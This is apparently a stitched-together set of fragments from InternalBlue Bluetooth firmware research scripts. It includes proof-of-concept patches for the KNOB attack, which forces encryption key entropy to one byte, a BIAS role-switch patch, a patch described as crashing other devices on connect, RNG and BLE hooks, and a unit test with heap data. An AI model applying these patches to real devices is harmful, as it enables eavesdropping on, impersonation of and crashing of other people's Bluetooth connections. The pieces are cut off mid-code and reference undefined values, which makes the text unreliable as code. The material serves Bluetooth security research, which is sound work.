from internalblue import Address, hci from internalblue.cli import InternalBlueCLI, auto_int from internalblue.hcicore import HCICore from internalblue.utils.packing import p16, u16 """ This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4. Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB. For details see https://github.com/francozappa/knob This PoC is much shorter since it only modifies global variables for key entropy. """ internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info( "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy internalblue.patchRom(Address(0x3B3D4), patch)
// append buffer with "RAND" add r0, 2 // buffer starts at 2 with data (?) ldr r1, =0x444e4152 // RAND str r1, [r0] add r0, 4 // advance buffer by 4 // send hci event mov r0, r4 // back to buffer at offset 0 pop {r0-r4, lr} b 0x268E // send_hci_event_without_free() """ % (MEM_ROUNDS, MEM_RNG) internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info("installing assembly patches...") # Install the RNG code in RAM code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG) if not internalblue.writeMem( address=ASM_LOCATION_RNG, data=code, progress_log=None): internalblue.logger.critical("error!")
#!/usr/bin/env python2 # Jiska Classen # Get receive statistics on a Raspberry Pi 3 for BLE connection events from pwn import * from internalblue.hcicore import HCICore internalblue = HCICore() device_list = internalblue.device_list() if len(device_list) == 0: log.warn("No HCI devices connected!") exit(-1) internalblue.interface = device_list[0][1] # just use the first device RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone HOOKS_LOCATION = 0x210500 ASM_HOOKS = """ // restore first 4 bytes of _connTaskRxDone push {r4-r6,lr} mov r4, r0 // fix registers for our own routine push {r1-r7, lr} mov r7, r0 // allocate vendor specific hci event mov r2, 243 mov r1, 0xff
add r0, 10 // buffer starts at 10 with data ldr r1, =0x444e4152 // RAND str r1, [r0] add r0, 4 // advance buffer by 4 // send hci event mov r0, r4 // back to buffer at offset 0 bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport pop {r0-r4, pc} """ % (MEM_ROUNDS, MEM_RNG) internalblue = HCICore() internalblue.interface = 'hci0' #internalblue.device_list()[0][1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) progress_log = log.info("Installing assembly patches...") # Disable Patchram #if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log): # progress_log.critical("error!") # exit(-1) # Install the RNG code in RAM
from internalblue.cli import InternalBlueCLI from argparse import Namespace import sys # imports for our own script/hooks from time import sleep from pwnlib.asm import asm from internalblue.utils.packing import u8, u32, p32 import binascii internalblue = ADBCore() try: internalblue.interface = internalblue.device_list()[0][1] # just use the first Android device except IndexError: internalblue = HCICore() try: internalblue.interface = internalblue.device_list()[0][1] # ...or the first local HCI interface except IndexError: internalblue.logger.critical("Adapt the Python script to use an available Broadcom Bluetooth interface.") exit(-1) # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) progress_log = internalblue.logger.info("Connected to first target, installing patches...") LMP_PATCH_FEATURES_RES = 0x218000 # free RAM to write our own patch
# Jiska Classen, Secure Mobile Networking Lab from pwn import * from internalblue.hcicore import HCICore """ This is a standalone PoC for the KNOB attack on a CYW20735 evaluation board. Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB. For details see https://github.com/francozappa/knob This PoC is much shorter since it only modifies global variables for key entropy. """ internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info( "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy internalblue.patchRom(0x3B3D4, patch)
// dummy table entry .align table: .byte 0x6b // just a nullsub (bx lr at 0x46a+1) .byte 0x04 .byte 0x00 .byte 0x00 .byte 0x10 // length .byte 0x00 .byte 0x00 .byte 0x01 """ internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) progress_log = log.info( "Installing assembly patches to crash other device on connect requests...") # Older devices like the Nexus 5 only accept LMP BPCS from Broadcom, # they don't know about Cypress yet... progress_log = log.info("Changing vendor ID from Cypress to Broadcom.") if not internalblue.writeMem(
def test_info_heap_new(): dummy = [{ "index": 0, "capacity": 32, "address": 2100380, "next": 2100412, "memory_size": 1152, "buffer_list": 2190960, "memory": 2190864, "buffer_size": 32, "buffer_headers": { 2191872: 2134443254, 2191620: 2037880954, 2191368: 375085499, 2191116: 3147300663, 2190864: 0, 2191764: 264196083, 2191512: 2509895076, 2191260: 2520551584, 2191008: 0, 2191908: 1846542368, 2191656: 1757769142, 2191404: 3932721686, 2191152: 2191184, 2190900: 28735, 2191800: 2840650003, 2191548: 1443923039, 2191296: 1489683938, 2191044: 4066066958, 2191944: 1913651233, 2191692: 152195353, 2191440: 2191472, 2191188: 1557416373, 2190936: 302056974, 2191836: 649087106, 2191584: 3228135896, 2191332: 3061215438, 2191080: 720823376, 2191980: 2196903397, 2191728: 2191760, 2191476: 2016717863, 2191224: 733933656, 2190972: 101581052 }, "list_length": 28 }, { "index": 1, "capacity": 50, "address": 2100412, "next": 2100444, "memory_size": 5000, "buffer_list": 2191888, "memory": 2191888, "buffer_size": 96, "buffer_headers": { 2194688: 2418054699, 2196288: 1950181917, 2192388: 998902997, 2193288: 1237870693, 2196588: 3682344019, 2194188: 3476501705, 2191888: 2191984, 2195288: 1169168150, 2192788: 733035576, 2193688: 212170382, 2195588: 4256985711, 2194588: 2553343043, 2196688: 2197224, 2192288: 1364917638, 2195888: 19938058, 2193188: 1183181508, 2194088: 2389621397, 2196188: 1101316817, 2194988: 4119138959, 2192688: 3404258821, 2196488: 2957618219, 2193588: 1015303433, 2194488: 1542989588, 2195188: 334177442, 2192188: 3048389179, 2193088: 4249806944, 2195488: 1476670297, 2193988: 4205996809, 2196788: 0, 2194888: 1063521161, 2195788: 1587397832, 2192588: 3951930416, 2193488: 3182543110, 2196088: 1404536822, 2194388: 3962928810, 2192088: 1508747568, 2196388: 2481150443, 2192988: 3794218756, 2193888: 2230011074, 2195088: 2388733849, 2194788: 319481313, 2192488: 1066099460, 2195388: 2397324227, 2193388: 3268540448, 2194288: 2194384, 2195688: 443293108, 2191988: 3365837461, 2192888: 2725717105, 2195988: 954670552, 2193788: 2274473962 }, "list_length": 50 }, { "index": 2, "capacity": 12, "address": 2100444, "next": 2169260, "memory_size": 3264, "buffer_list": 2196688, "memory": 2196688, "buffer_size": 268, "buffer_headers": { 2196960: 1868719728, 2198048: 2301952667, 2197504: 2764580300, 2198592: 4031749240, 2199408: 3141828370, 2199680: 2673196138, 2197776: 655413012, 2196688: 2197224, 2198864: 483218198, 2199136: 2070409995, 2197232: 4269595008, 2198320: 2960663615 }, "list_length": 11 }, { "index": 3, "capacity": 4, "address": 2169260, "next": 2169292, "memory_size": 4288, "buffer_list": 2199904, "memory": 2199904, "buffer_size": 1068, "buffer_headers": { 2199904: 2200972, 2200976: 3538041113, 2202048: 1981831315, 2203120: 2664647264 }, "list_length": 4 }, { "index": 4, "capacity": 16, "address": 2169292, "next": 2169324, "memory_size": 17536, "buffer_list": 2204176, "memory": 2204176, "buffer_size": 1092, "buffer_headers": { 2206368: 3081486871, 2208560: 2201211482, 2218424: 1142812043, 2210752: 1735894938, 2219520: 1997110991, 2207464: 3467810309, 2220616: 3465059190, 2217328: 3406578824, 2215136: 2543784863, 2204176: 2205268, 2209656: 3726451979, 2214040: 3051833507, 2211848: 3382482014, 2205272: 2465189202, 2212944: 2900433384, 2216232: 619500542 }, "list_length": 16 }, { "index": 5, "capacity": 15, "address": 2169324, "next": 2169356, "memory_size": 4020, "buffer_list": 2221648, "memory": 2221648, "buffer_size": 264, "buffer_headers": { 2222720: 4187811300, 2223792: 71320053, 2223524: 2131726092, 2222184: 983003111, 2224060: 1514897371, 2222988: 2920869383, 2225132: 670722248, 2225400: 4011899155, 2221648: 2221912, 2224328: 1327684221, 2222452: 1691084254, 2223256: 2278527172, 2224596: 3213868993, 2221916: 2666878639, 2224864: 4293236507 }, "list_length": 15 }, { "index": 6, "capacity": 15, "address": 2169356, "next": 0, "memory_size": 4020, "buffer_list": 2225608, "memory": 2225608, "buffer_size": 264, "buffer_headers": { 2226144: 2468503925, 2228288: 3769100033, 2226948: 3003019165, 2225608: 2225872, 2228556: 1848533574, 2226412: 19831529, 2229360: 3069868169, 2227216: 2022414238, 2227752: 2727841579, 2228824: 1909490602, 2225876: 2300688060, 2226680: 210906155, 2228020: 3166977216, 2227484: 2262736138, 2229092: 1991768492 }, "list_length": 15 }] trace = os.path.join( os.path.dirname(os.path.abspath(__file__)), 'traces/hcicore/dictionary_tests/info_heap_new.trace') args = _parse_argv('') args.device = 'adb_replay' args.replay = trace data_directory = os.path.expanduser('~') + '/.internalblue' if not os.path.exists(data_directory): os.mkdir(data_directory) from internalblue.socket_hooks import hook, ReplaySocket hook(HCICore, ReplaySocket, filename=args.replay) connection_methods = [ HCICore(log_level='info', data_directory=data_directory, replay=True) ] devices = [] # type: List[DeviceTuple] devices = connection_methods[0].device_list() device = devices[0] reference = device[0] reference.interface = device[1] reference.connect() information = reference.readHeapInformation() print(information) nose.tools.assert_equal(information, dummy) reference.shutdown()
# bias.py """ Use it with internalblue """ #!/usr/bin/python2 from pwn import * from internalblue.hcicore import HCICore internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][1] # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info("BEGIN patchrom.") # patch1: make sure we always switch to master role code1 = b""" @Part 1: Make sure we always switch roles mov r6, #0x0 sub sp, #0x18 add r0, #0xc b 0x2e7ad """ addrcode1 = 0x2006d0 taddrcode1 = addrcode1 + 1 # 0x2006d1 # write code1 into addrcode1 (SRAM)